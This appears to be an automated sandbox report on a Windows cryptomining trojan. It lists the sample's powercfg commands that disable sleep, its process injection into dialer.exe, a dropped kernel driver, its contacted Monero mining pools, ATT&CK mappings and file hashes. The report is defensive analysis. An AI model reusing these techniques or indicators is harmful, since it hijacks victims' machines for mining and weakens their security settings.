Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Source: dialer.exe, 00000041.00000003.2138482082.000001C3772F2000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000002.3283235144.000001C3772F2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Windows Service	2 Obfuscated Files or Information	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	713 Process Injection	1 Install Root Certificate	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	131 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	713 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nW2oopMIdg.exe	62%	Virustotal		Browse
nW2oopMIdg.exe	66%	ReversingLabs	Win64.Trojan.MintZard

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\Screenshots\Lightshot.exe	66%	ReversingLabs	Win64.Trojan.MintZard
C:\Windows\Temp\yycjbdwxjaoe.sys	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://3csp.icrosof4m/ocp0	0%	Avira URL Cloud	safe
https://172.94.1q	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool-fr.supportxmr.com	141.94.96.144	true	false		unknown
pool.supportxmr.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000027.00000000.2076104919.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3283163976.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000027.00000000.2076104919.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3283163976.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://3csp.icrosof4m/ocp0	lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3286173867.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://172.94.1q	dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.94.96.71	unknown	Germany		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587400
Start date and time:	2025-01-10 10:35:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	62
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	8
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nW2oopMIdg.exe renamed because original name is a hash value
Original Sample Name:	35a8d03f86ae6f92424d6424fe0805d338eccedff177b400182102685299022c.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@90/12@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 40.126.32.133, 40.126.32.134, 40.126.32.76, 20.190.160.17, 40.126.32.136, 20.190.160.20, 40.126.32.140, 20.190.160.22, 20.109.210.53, 13.107.253.45
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, dns.msftncsi.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:35:53	API Interceptor	1x Sleep call for process: nW2oopMIdg.exe modified
04:35:54	API Interceptor	32x Sleep call for process: powershell.exe modified
04:36:31	API Interceptor	429883x Sleep call for process: winlogon.exe modified
04:36:32	API Interceptor	346307x Sleep call for process: lsass.exe modified
04:36:32	API Interceptor	1107x Sleep call for process: svchost.exe modified
04:36:34	API Interceptor	409567x Sleep call for process: dwm.exe modified
04:36:36	API Interceptor	1884x Sleep call for process: dialer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
141.94.96.71	SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe	Get hash	malicious	Xmrig	Browse
	xmr_linux_amd64 (2).elf	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Get hash	malicious	Xmrig	Browse
	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	01904399.dat.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	174.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xmr_linux_amd64 (2).elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	armv4l.elf	Get hash	malicious	Unknown	Browse	195.37.28.224
	armv6l.elf	Get hash	malicious	Unknown	Browse	134.245.99.176
	armv7l.elf	Get hash	malicious	Unknown	Browse	139.19.193.179
	https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1	Get hash	malicious	Unknown	Browse	141.95.100.236
	https://t.co/qNQo33w8wD	Get hash	malicious	HTMLPhisher	Browse	141.95.98.65
	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	http://hockey30.com	Get hash	malicious	Unknown	Browse	141.95.171.140
	https://hockey30.com/nouvelles/malaise-en-conference-de-presse-kent-hughes-envoie-un-message-cinglant-a-juraj-slafkovsky/	Get hash	malicious	Unknown	Browse	141.95.171.140
	n397UdH3b5.exe	Get hash	malicious	Wannacry, Conti	Browse	131.188.40.189

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\yycjbdwxjaoe.sys	chrtrome22.exe	Get hash	malicious	Xmrig	Browse
	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse
	174.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse
	47SXvEQ.exe	Get hash	malicious	Blank Grabber, Xmrig	Browse
	xmr new.exe	Get hash	malicious	Xmrig	Browse
	eth.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	hiwA7Blv7C.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\Screenshots\Lightshot.exe

Download File

Process:	C:\Users\user\Desktop\nW2oopMIdg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2876416
Entropy (8bit):	6.537334125155787
Encrypted:	false
SSDEEP:	49152:lYul8CapE2jLY0vFhbkQbIptv1xZ4ayOIYDIGC3FYKjPgz+WWrS2sWioLyVQGMNx:lYLCGYYbkQbytvVeOIerC1zPgSWW/pio
MD5:	990A3F3B1273510F210FB9B541DA219F
SHA1:	33E536C5B4BDB6F6042F93445DFFD8A3AD488E8B
SHA-256:	35A8D03F86AE6F92424D6424FE0805D338ECCEDFF177B400182102685299022C
SHA-512:	495734313CAE980D3F48EF78422CF9484EB347833672FD5C693F8F8C92C1C0D51986795CD55A3148BE18FF0C9D36ADFF5A1C3FF18200668DD33F3978A459C246
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......g.........."..........N+.....@..........@.............................p,...........`.................................................x...<....P,.P.... ,..............`,.x...............................(.......8...............X............................text...f........................... ..`.rdata... ......."..................@..@.data....1+...... +.................@....pdata....... ,.......+.............@..@.00cfg.......0,.......+.............@..@.tls.........@,.......+.............@....rsrc...P....P,.......+.............@..@.reloc..x....`,.......+.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0z3ziakm.rl5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4gcpf45.vsk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_juj05cqp.em5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlofs2lm.htq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul2lllllZ:NllUClll
MD5:	4D98AF7F487E62A9C1D44B02674BAB7E
SHA1:	1B492B2208949EB7F18C32F309C296B4258DBA65
SHA-256:	1E3ED9CE6343DA27C6759A0F05D6DD0B92B3A9C63B6492A2DA4E4F371D9F56DA
SHA-512:	60EC859B84836E865E767FE858E70ACEC6F0FB8077B2E51D6CB4095533433B791C9A16396D69279C7F896DF003A1ED6656087B43EFA16523DA4026317CBB49E6
Malicious:	false
Preview:	@...e.................................:..............@..........

C:\Windows\Temp\__PSScriptPolicyTest_asxfxva3.cte.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_bzsopdsf.pqc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_l5a2fjur.kdb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xuvzwikb.x0v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\yycjbdwxjaoe.sys

Download File

Process:	C:\ProgramData\Screenshots\Lightshot.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: chrtrome22.exe, Detection: malicious, Browse Filename: pTVKHqys2h.exe, Detection: malicious, Browse Filename: 174.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 47SXvEQ.exe, Detection: malicious, Browse Filename: xmr new.exe, Detection: malicious, Browse Filename: eth.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hiwA7Blv7C.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.537334125155787
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	nW2oopMIdg.exe
File size:	2'876'416 bytes
MD5:	990a3f3b1273510f210fb9b541da219f
SHA1:	33e536c5b4bdb6f6042f93445dffd8a3ad488e8b
SHA256:	35a8d03f86ae6f92424d6424fe0805d338eccedff177b400182102685299022c
SHA512:	495734313cae980d3f48ef78422cf9484eb347833672fd5c693f8f8c92c1c0d51986795cd55a3148be18ff0c9d36adff5a1c3ff18200668dd33f3978a459c246
SSDEEP:	49152:lYul8CapE2jLY0vFhbkQbIptv1xZ4ayOIYDIGC3FYKjPgz+WWrS2sWioLyVQGMNx:lYLCGYYbkQbytvVeOIerC1zPgSWW/pio
TLSH:	29D523E536CE4726C8143C71F4A6898918EF7A8AD3BBB1B7644483736A747B34DB7048
File Content Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......g.........."..........N+.....@..........@.............................p,...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
